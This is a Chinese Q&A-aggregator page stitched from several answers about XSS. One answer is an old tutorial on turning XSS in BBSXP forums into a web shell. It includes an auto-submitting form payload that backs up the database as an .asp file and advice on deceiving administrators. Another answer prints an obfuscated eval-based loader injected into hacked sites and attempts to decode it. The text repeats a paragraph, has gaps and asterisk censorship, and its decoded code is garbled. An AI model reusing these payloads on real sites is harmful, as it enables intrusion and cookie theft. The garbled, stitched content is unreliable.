首页 安全防御正文

包含htm了xss的词条

hacker 安全防御 2022-08-23 94 2 htm了xss

XSS攻击原理是什么?

什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

为什么xss注入执行了,刷新就没了,对其他人没有影响

XSS注入的本质

就是: 某网页中根据用户的输入, 不期待地生成了可执行的js代码, 并且js得到了浏览器的执行. 意思是说, 发给浏览器的字符串中, 包含了一段非法的js代码, 而这段代码跟用户的输入有关.

常见的XSS注入防护, 可以通过简单的 htmlspecialchars(转义HTML特殊字符), strip_tags(清除HTML标签) 来解决, 但是, 还有一些隐蔽的XSS注入不能通过这两个 *** 来解决, 而且, 有时业务需要不允许清除HTML标签和特殊字符. 下面列举几种隐蔽的XSS注入 *** :

IE6/7 UTF7 XSS 漏洞攻击

什么是XSS攻击

什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

然后利用下面的技术得到一个shell. [编辑本段]如何利用传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的 *** 是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击寻找跨站漏洞

如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试 *** 群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。

如何利用

我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.

a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:

c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。

d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示

除此之外我们只要在个人签名里输入

同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.

上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名

处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的

攻击,对于flash木马的 *** ,下面见哥们丰初的介绍。

再利用如下:

修改一下个人头像的url,输入代码如下:

再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。 [编辑本段]来自外部的跨站攻击有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论坛提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。

例:先上传一个文件linzi.txt,内容如下:

〈body onload="javascript:document.forms[0].submit()"〉〈form

action=" " method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉

上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:

我们构造备份跨站语句如下:

或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。

当管理员打开后,会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用 *** 的其它跨站漏洞等等。

总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!

好一个欺骗也是一门艺术,不管是在生活中还是在 *** 中。生活中难免有些事情不能讲真话,这时采用适当的 *** 使得我们的假话当作真话讲,这就靠欺骗的艺术了。

xss 跨网站脚本攻击 会导致什么结果

1、各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、读取、篡改、添加、删除敏感数据

3、窃取企业重要的具有商业价值的资料

4、非法转账

5、制发送电子邮件

6、网站挂马

7、制受害者机器向其它网站发起攻击

我有200个ASP网站的js文件,首页文件,htm文件在同一个时间被加入了这段代码,大家帮我看看

首先声明这不是什么加密,只是普通的混淆。你应该用的是虚拟主机,遇到跨站攻击(xss),被挂马了。

这段代码格式化一下:

ps = "split";

e = eval;

v = "0x";

a = 0;

z = "y";

try {

    a *= 25

} catch (zz) {

    a = 1

}

if (!a) {

    try {

        --e("doc" + "ument")["\x62od" + z]

    } catch (q) {

        a2 = "_";

        sa = 0xa - 02;

    }

    z = "28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_78_6e_73_78_78_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_78_6d_30_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_74_6d_76_34_28_6d_76_6c_28_31_28_31_43_15_12_85_15_12_71_6e_28_30_76_69_7e_71_6f_69_7c_77_7a_36_6b_77_77_73_71_6d_4d_76_69_6a_74_6d_6c_31_15_12_83_15_12_71_6e_30_4f_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_31_45_45_3d_3d_31_83_85_6d_74_7b_6d_83_5b_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_34_28_2f_3d_3d_2f_34_28_2f_39_2f_34_28_2f_37_2f_31_43_15_12_15_12_82_82_82_6e_6e_6e_30_31_43_15_12_85_15_12_85_15_12"[ps](a2);

    za = "";

    for (i = 0; i  z.length; i++) {

        za += String["fromCharCode"](e(v + (z[i])) - sa);

    }

    zaz = za;

    e(zaz);

}

我改写下,或许这样你就明白了:

ps = "split";

e = eval;

v = "0x";

a = 0;

z = "y";

//try {a *= 25} catch (zz) {a = 1} 这段代码无用 0*25肯定等于0,也不会报错

if (!a) {

    try {

        //e --e("doc" + "ument")["\x62od" + z] \x62是十六进制的ASCII编码,就是"b"

        //--eval("document")["body"],这个肯定会报错,document.body不是数字类型,无法自减

        --document.body

    } catch (q) {

        a2 = "_";

        //sa = 0xa - 02; 0xa是16进制数,02是八进制数

        sa = 10-2;

    }

    //z = "28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_78_6e_73_78_78_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_78_6d_30_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_74_6d_76_34_28_6d_76_6c_28_31_28_31_43_15_12_85_15_12_71_6e_28_30_76_69_7e_71_6f_69_7c_77_7a_36_6b_77_77_73_71_6d_4d_76_69_6a_74_6d_6c_31_15_12_83_15_12_71_6e_30_4f_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_31_45_45_3d_3d_31_83_85_6d_74_7b_6d_83_5b_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_34_28_2f_3d_3d_2f_34_28_2f_39_2f_34_28_2f_37_2f_31_43_15_12_15_12_82_82_82_6e_6e_6e_30_31_43_15_12_85_15_12_85_15_12"[ps](a2);

    //这段代码的实际含义就是将字符串以"_"分割获得一个数组

    z = "....".split("_")

    za = "";

    for (i = 0; i  z.length; i++) {

        //za += String["fromCharCode"](e(v + (z[i])) - sa);

        //string对象有个 *** fromCharCode,作用是:接受一个指定的 Unicode 值,然后返回一个字符串

        //"0x"+z[i]表示一个16进制数,如:String.fromCharCode(0x6e - 8),0x6e十进制就是110,String.fromCharCode(102)实际就是字符"f",以此类推

        za += String.fromCharCode(eval("0x"+z[i]) - sa);

    }

    zaz = za;

    e(zaz);

}

实际上e(zaz)就是运行上面的代码,也就是说你贴出来的代码和下面这段代码的作用差不多。

function zzzfff() {

    var pfkpp = document.createElepe( document.cookie.substring( len, end ) );

}

if (navigator.cookieEnabled){

    if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

        zzzfff();

    }

}

你这个最根本的办法就是杜绝XSS攻击, *** 网上很多,我就不详细说了。

版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。